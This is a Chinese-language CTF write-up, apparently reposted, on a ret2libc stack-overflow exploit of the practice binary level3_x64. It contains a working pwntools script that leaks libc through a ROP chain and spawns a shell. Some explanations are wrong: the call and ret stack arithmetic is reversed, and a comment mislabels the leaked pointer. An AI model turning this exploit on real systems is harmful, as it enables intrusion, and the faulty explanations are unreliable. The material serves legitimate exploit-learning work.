测试2

  • 目标程序下载
    提取码：5o0a

  • 环境:Ubuntu linux

  • 工具
    1. pwn-gdb
    2. pwntools python库
    3. ROPgadget

( 这些工具可以到github官网找)

1.检查程序开了哪些安全机制

checksec 检查保护机制
    Arch:     amd64-64-little
    RELRO:    No RELRO              
    Stack:    No canary found       金丝雀
    NX:       NX enabled            栈不可执行Windows平台上称其为DEP
    PIE:      No PIE (0x8048000)    内存地址随机化机制,Windows平台上称其为ASLR

2.在ida中静态查看看程序中的漏洞点

可以看到 buf 这个字符串数组只有0x80的大小,但是却可以 read 0x200 个字节

多出来的 0x200-0x80 就会造成溢出

函数调用方式的基本介绍

32位程序默认调用函数的方式为先将参数压入栈中,靠近call指令的是第一个参数

而64位程序默认调用函数的方式则不同

  • RDI 中存放第1个参数
  • RSI 中存放第2个参数
  • RDX 中存放第3个参数
  • RCX 中存放第4个参数
  • R8 中存放第5个参数
  • R9 中存放第6个参数
  • 如果还有更多的参数,再把过多那几个的参数像32位程序一样压入栈中
  • 然后 call

rop 的基本介绍

这里只说一下64位程序的rop,了解完64位的rop,32位的程序稍微做一下函数调用方式上的改变就好了

比如:现在有3个函数 a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函数有栈溢出漏洞,a函数是个输入函数,c函数是system函数

我们要利用b函数的漏洞,运行c函数,而c函数需要从a函数上得到"/bin/sh"这种参数

该怎么做呢?

首先我们要知道 call 指令与 ret 指令是有两步操作的

call指令:

1. 先把下一句指令的地址压入栈顶 rsp+=8
2. 跳转到call后面跟的地址上去

ret指令:

1. 跳转到rsp所指的地址(之前的call压入的)
2. rsp-=8

如果我们调用函数时不使用call指令呢?

函数结束时,移动栈顶(清栈) jmp [rsp] ,rsp-=8

程序中找 pop rsi,pop rdi,ret 这种相连的指令(不相连也可以,不要再影响rsi,rdi就好),把地址记录下来pop_ret

程序中找 pop rdi,ret 这种相连的指令,把地址记录下来pop_ret2

好,我们把c函数的rbp+8的位置写 pop_ret 的地址

  • rbp+8 pop_ret
  • rbp+16 arg2
  • rbp+24 arg1
  • rbp+32 a函数的地址
  • rbp+40 pop_ret2
  • rbp+48 arg1
  • rbp+56 c函数的地址

当b运行结束后,会返回到 pop_ret 位置

pop rsi rsi=arg2

pop rdi rdi=agr1

jmp a函数

a函数 执行完后 会ret 到pop_ret2

pop rdi rdi=arg1

然后运行c函数

回到我们的目标程序

gdb打开程序

gdb level3_x64 -q
b mian

vmmap

查看libc的系统位置

ROPgadget --binary level3_x64 --only 'pop|ret'

找到main函数的地址

from pwn import *
p = process("./level3_x64") #本地调试
#p = remote("x.x.x.x",xxxx) #远程调试remote(ip,port)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./level3_x64")

pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A
write_plt = elf.plt["write"]
write_got = elf.got["write"]

padding = (0x80 + 8 ) * "a"
#0x80字符串长度要覆盖过去,+8是要覆盖rbp

payload1 = padding + p64(pop_rdi_ret) +
 p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) +
 p64(0) + p64(write_plt) + p64(main_addr)
#通过plt表中的write调用 write(1,write_plt,...)
#第三个参数只要当前rdx寄存器中的数大于8就好
#然后返回main函数重新运行,准备重新触发漏洞

p.sendafter("Input:n",payload1)
addr = u64(p.recv(6).ljust(8,"x00"))
#通过write_plt找泄露libc中write的地址 

libc.address = addr - libc.symbols["write"]
#通过write的地址 找libc基地址

binsh=libc.search("/bin/sh").next()
#通过libc基地址找libc中这个字符串的地址

system=libc.symbols["system"]
#通过libc基地址找libc中systemp函数的地址

payload2 = padding + p64(pop_rdi_ret)+ p64(binsh)+p64(system)
#system("bin/sh") 

p.send(payload2)
p.interactive()

成功启动了shell

内容来源于网络如有侵权请私信删除
标签： 软件测试
你还没有登录，请先登录或注册！
  • 还没有人评论，欢迎说说您的想法！